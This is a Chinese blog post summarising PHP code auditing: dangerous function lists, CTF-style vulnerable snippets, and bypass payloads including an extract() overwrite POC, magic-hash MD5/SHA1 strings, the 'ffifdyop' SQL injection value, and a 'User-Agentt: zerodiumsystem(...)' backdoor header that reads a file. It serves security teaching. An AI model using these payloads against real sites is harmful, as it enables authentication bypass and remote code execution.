php代码审计总结

VSole2021-09-21 09:27:39

在php中可由用户输入的变量

$_SERVER$_GET$_POST$_COOKIE$_REQUEST$_FILES

存在命令注入的函数

systemexecpassthrushell_execpopenproc_openpcntl_exec

存在XSS和CSRF的函数

echoprintprintfvprintf<%=$test%>

存在文件包含的函数

includeinclude_oncerequirerequire_onceshow_sourcehighlite_filereadfileflie_get_contentsfopen

存在代码注入的函数

evalpreg_replaceassertcall_user_funccall_user_func_arraycreate_function

存在SQL注入的语句

insertupdateselectdelete

文件管理函数

copyrmdirunlinkdeletefwritechmodfgetcfgetcsvfgetsfgetssfilefile_get_contentsfreadreadfileftruncatefile_put_contentsfputcsvfputs

对于此类函数,可以使用php伪协议进行一个绕过。

$a=$_GET['a'];if(stripos($a,'.')){    echo 'no';    return ;}$data = @file_get_contents($a,'r');if($data=="WHT is a good family!"){    require("flag.txt");    echo "flag";}?>

GET形式传入参数a,a不能含有.,且变量a必须为WHT is a good family!

使用php伪协议进行一个传参。

文件上传函数

move_uploaded_file

变量覆盖函数

extract
 $flag='flag.txt';extract($_GET); if(isset($a)) {    $content=trim(file_get_contents($flag));    //将flag文件的内容赋值给content变量    if($a==$content)    {        echo'ctf{xxx}';    }   else   {    echo'no';   }   } ?>

"extract($_GET)"此函数将GET传入的参数都重新赋值了, $content的值为flag.txt的内容,只有a和content的值相等时,才会输出flag,所以将$flag赋值一个不存在的文件,那么$content的值也就为空,此时$content也就变的可控了。

POC:

a=&flag=tzzzez

Session绕过

 $flag = "flag{xxxx}"; session_start();if (isset ($_GET['password'])) {    if ($_GET['password'] == $_SESSION['password'])        die ('Flag: '.$flag);    else        print 'Wrong';}mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));?>

Session的password在未登陆时为空,我们只要上传一个空的paasword即可绕过。

比较相等绕过

MD5md5('240610708')==md5('QNKCDZO')md5('aabg7XSs')==md5('aabC9RqS')SHA1sha1('aaroZmOk')==sha1('aaK1STfY')sha1('aaO8zKZF')==sha1('aa3OFF9m')明文'0010e2'=='1e3''0x1234Ab'=='1193131''0xABCdef'==' 0xABCdef'

弱类型整型比较

 error_reporting(0);$flag = "flag{test}"; $temp = $_GET['password'];is_numeric($temp)?die("no numeric");   if($temp>1336){    echo $flag;} ?>

当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。

POC:

password=1377a

MD5函数true绕过

$password = $_GET['password'];$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";

ffifdyop

129581926211651571912466741651878684928

preg_match绕过

    1.数组绕过

    2.回溯次数限制绕过

    3.添加换行符 和 %0a

strpos()绕过

   strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null。

sha1()绕过

 $flag = "flag{xxxx}"; if (isset($_GET['name']) and isset($_GET['password'])){    if ($_GET['name'] == $_GET['password'])        echo 'Your password can not be your name!';    else if (sha1($_GET['name']) === sha1($_GET['password']))      die('Flag: '.$flag);    else        echo 'Invalid password.';}else    echo 'Login first!';?>

需要构造一对哈希值相等但明文不同的字符串,这里sha1函数无法处理数组,当处理数组时会报错返回False,这样就使得2个参数的哈希值“相等”,这里传参2个不同的数组即可绕过所有if。

MD5碰撞

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

0e开头的md5和原值:QNKCDZO0e830400451993494058024219903391QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675

PHP版本存在漏洞的函数

User-Agentt: zerodiumsystem("cat /flag");

值不等MD5相等,用两个不能MD5转换的值就可以。

php哈希
本作品采用《CC 协议》,转载必须注明作者和本文链接
据悉,黑客正在大规模利用WordPress网站Tatsu Builder插件中的远程代码执行漏洞 CVE-2021-25094发起攻击。 Tatsu Builder是一个热门的插件,提供了强大的模板编辑功能,集成在网页浏览器中,约有100,000个网站安装了该插件。 目标漏洞CVE-2021-25094是由独立研究人员文森特·米歇尔(Vincent Michel)发现的,文森特于2022年3月
PHP弱类型漏洞复现
2021-09-19 07:11:07
在一次渗透测试中,由于甲方维护做的比较好,并没有发现什么漏洞,在即将结束的时候,我还是没有大的突破。
php代码审计总结
2021-09-21 09:27:39
php中可由用户输入的变量$_SERVER$_GET$_POST$_COOKIE$_REQUEST$_FILES. 对于此类函数,可以使用php伪协议进行一个绕过。
Bleeping Computer 网站披露, WordPress 插件 Tatsu Builder 中存在远程代码执行漏洞 CVE-2021-25094,黑客正在利用其进行大规模网络攻击。(该插件安装在大约 10 万个网站上。)
PHP编程语言的维护者确认,威胁行为者可能已经破坏了包含其密码的用户数据库。PHP编程语言的维护者提供了有关3月28日发生的安全漏洞的更新。未知的攻击者入侵了PHP编程语言的官方Git服务器,并推送了未经授权的更新,以在源代码中插入后门。所有的密码均已重置。Popov解释说,对该事件的进一步调查显示,提交还通过HTTPS和基于密码的身份验证进行了推送。
本文使用的是php5.6.10版本源码,我们主要来看看该版本下绕过wakup魔术方法这个CVE-2016-7124漏洞,用以记录前段时间的分析。
Laravel 是一个广泛使用的开源 PHP Web 框架。它可用于相对轻松地创建复杂的 Web 应用程序,并在许多流行的项目中使用。
超实用的网络安全开源工具
近期,安全研究人员检测到Elasix VoIP服务器遭到大规模网络攻击,该攻击使用CVE-2021-45461远程代码执行漏洞,植入PHP Web shell实现远程控制,还特意修改文件时间戳试图”融入环境“。仅仅3个月时间,已经有超50万设备被感染。
域渗透就是基于windows域环境的渗透,而域渗透涉及到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解Windows认证机制的原因之一Windows的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
VSole
网络安全专家